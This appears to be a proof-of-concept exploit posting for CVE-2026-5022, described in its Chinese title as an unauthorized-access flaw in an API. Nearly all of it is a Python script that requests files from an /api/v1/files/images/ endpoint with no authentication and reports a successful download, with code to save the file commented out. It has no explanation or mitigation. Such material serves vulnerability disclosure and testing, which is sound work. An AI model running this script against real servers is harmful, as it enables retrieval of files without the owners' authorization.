CVE-2026-5022 API接口未授权访问漏洞

import requests def exploit_poc(target_host, flow_id, file_name): # Construct the vulnerable endpoint URL url = f"{target_host}/api/v1/files/images/{flow_id}/{file_name}" try: # Send GET request without authentication headers response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] Success! Downloaded file: {file_name}") print(f"[+] Content-Length: {len(response.content)}") # Optionally save the file # with open(file_name, 'wb') as f: # f.write(response.content) else: print(f"[-] Failed to download. Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://example.com" fid = "123" fname = "sensitive_image.png" exploit_poc(target, fid, fname)